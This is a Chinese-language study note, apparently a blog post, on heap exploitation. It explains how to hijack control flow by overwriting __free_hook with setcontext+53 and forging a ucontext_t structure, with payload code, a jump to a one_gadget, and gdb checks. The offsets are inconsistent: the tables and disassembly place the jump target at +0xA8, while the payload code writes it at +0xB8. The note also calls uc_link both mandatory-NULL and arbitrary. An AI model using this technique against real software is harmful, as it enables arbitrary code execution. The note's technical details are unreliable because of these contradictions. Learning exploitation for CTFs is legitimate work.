8-1-一些知识点思考
8-1-一些知识点思考
如何做到修改free_hook为setcontext+53
- 劫持
__free_hook
将__free_hook覆盖为setcontext+53地址,使free()被调用时跳转到此处。 - 控制
RDI寄存器
free()的参数(要释放的内存地址)会存入RDI,该地址需指向伪造的ucontext_t结构。 - 构造
ucontext_t结构
在RDI指向的内存中布置伪造结构,关键是通过setcontext+53的汇编逻辑劫持控制流。
伪造 ucontext_t 结构详解
ucontext_t 是 glibc 中用于保存执行上下文的结构体,主要用于实现协程和非本地跳转(如 setcontext、getcontext 等函数)。在堆漏洞利用中,伪造 ucontext_t 结构是指我们通过控制内存布局,创建一个假的 ucontext_t 结构,从而劫持程序的执行流程。
为什么需要伪造 ucontext_t?
当我们将 __free_hook 设置为 setcontext+53 时,程序在调用 free() 时会跳转到 setcontext+53 执行。而 setcontext 函数的核心功能就是从一个 ucontext_t 结构中恢复执行上下文(寄存器状态)。
因此,要让程序按照我们的意愿执行,我们需要:
- 控制
RDI指向一个伪造的ucontext_t结构 - 在这个伪造结构中设置关键寄存器值(如 RSP、RCX/RIP)
ucontext_t 结构的关键部分
完整的 ucontext_t 结构很大,但在漏洞利用中我们只关心关键部分:
// 简化版 ucontext_t 结构(x86_64)
struct ucontext_t {
// ... 其他我们不关心的字段 ...
// 关键偏移:0xA0 处开始
void *uc_stack.ss_sp; // 栈指针 (RSP 将从此处加载)
void *uc_stack.ss_size; // 栈大小
void *uc_link; // 链接到下一个上下文
// 寄存器保存区域 (uc_mcontext.gregs)
long gregs[23]; // 通用寄存器数组
// 索引定义:
// REG_R8 = 0
// REG_R9 = 1
// ...
// REG_RDI = 8
// REG_RSI = 9
// ...
// REG_RIP = 16 // 指令指针
// REG_RSP = 19 // 栈指针 (再次出现)
};
在利用中如何伪造
我们不需要构造完整结构,只需设置关键偏移处的值:
# 伪造的 ucontext_t 结构
payload = b''
payload += b'A' * 0xA0 # 填充前 0xA0 字节(任意内容)
payload += p64(new_rsp) # [rdi+0xA0] - 设置新的 RSP
payload += b'B' * 8 # uc_stack.ss_size (任意)
payload += b'C' * 8 # uc_link (任意)
payload += p64(target_addr) # [rdi+0xA8] - 设置 RCX (用于跳转)
. uc_stack.ss_size (栈大小)
- 作用:理论上表示栈的大小,但在漏洞利用中并不使用
- 设置建议:
- 设置为
0或任意非零值均可 - 避免设置过大的值(如
0xFFFFFFFF),虽然通常不会导致问题,但某些极端情况下可能触发内存检查 - 示例:
payload += p64(0)或payload += b'\x00'*8
- 设置为
2. uc_link (下一个上下文指针)
- 作用:指向下一个执行上下文,当当前上下文结束时跳转
- 关键注意事项:
- 必须设置为 NULL (0)!
- 如果设置为非零值,程序在完成当前上下文后会尝试跳转到
uc_link指向的新上下文 - 如果该地址不可访问或无效,会导致段错误(SIGSEGV)
- 示例:
payload += p64(0)
关键偏移说明:
| 偏移 | 大小 | 用途 | 对应寄存器 |
|---|---|---|---|
| +0xA0 | 8字节 | 新栈指针 | RSP |
| +0xA8 | 8字节 | 跳转目标 | RCX (通过 push; ret 跳转) |
为什么 setcontext+53 需要这些偏移?
查看 setcontext+53 的反汇编代码(glibc 2.27-2.31):
setcontext+53:
mov rsp, QWORD PTR [rdi+0xa0] ; 加载新栈指针
mov rbx, QWORD PTR [rdi+0x80] ; 加载 RBX
mov rbp, QWORD PTR [rdi+0x78] ; 加载 RBP
mov r12, QWORD PTR [rdi+0x48] ; 加载 R12
mov r13, QWORD PTR [rdi+0x50] ; 加载 R13
mov r14, QWORD PTR [rdi+0x58] ; 加载 R14
mov r15, QWORD PTR [rdi+0x60] ; 加载 R15
mov rcx, QWORD PTR [rdi+0xa8] ; 加载 RCX (关键!)
push rcx ; 将 RCX 压栈
ret ; 跳转到 RCX 指向的地址
完整利用流程
-
准备伪造结构:
# 计算目标地址 target = libc_base + 0x10a2fc # one_gadget 示例 # 伪造 ucontext_t fake_ctx = b'A'*0xA0 # 填充到 0xA0 fake_ctx += p64(stack_addr) # 新栈指针 (RSP) fake_ctx += p64(0) # ss_size (任意) fake_ctx += p64(0) # uc_link (任意) fake_ctx += p64(target) # RCX (跳转目标) -
写入伪造结构:
# 将伪造结构写入堆内存 write(fake_chunk_addr, fake_ctx) -
劫持 __free_hook:
setcontext_53 = libc_base + libc.sym['setcontext'] + 53 write(free_hook_addr, p64(setcontext_53)) -
触发执行:
# 释放包含伪造结构的堆块 free(fake_chunk_addr)执行流程:
free(fake_chunk_addr) → RDI = fake_chunk_addr → __free_hook(setcontext+53) → RSP = [RDI+0xA0] = stack_addr RCX = [RDI+0xA8] = target push RCX; ret → 跳转到 target
不同 glibc 版本的差异
| glibc 版本 | 关键偏移 | 跳转寄存器 |
|---|---|---|
| 2.27-2.31 | +0xA0 (RSP) +0xA8 (RCX) | RCX |
| 2.32-2.35 | +0x68 (RSP) +0x98 (RDX) | RDX |
| 2.36+ | 完全重构 | 需要新方法 |
调试技巧
使用 gdb 验证:
# 在 setcontext+53 设断点
b *setcontext+53
# 触发 free 后检查寄存器
p $rdi # 应指向伪造结构
x/gx $rdi+0xA0 # 应显示 stack_addr
x/gx $rdi+0xA8 # 应显示 target
# 单步执行直到 ret
ni 多次
# 检查跳转
c # 应跳转到 target
伪造 ucontext_t 结构是利用 setcontext 函数实现控制流劫持的核心技术,通过精确控制内存布局,我们可以实现任意代码执行。

浙公网安备 33010602011771号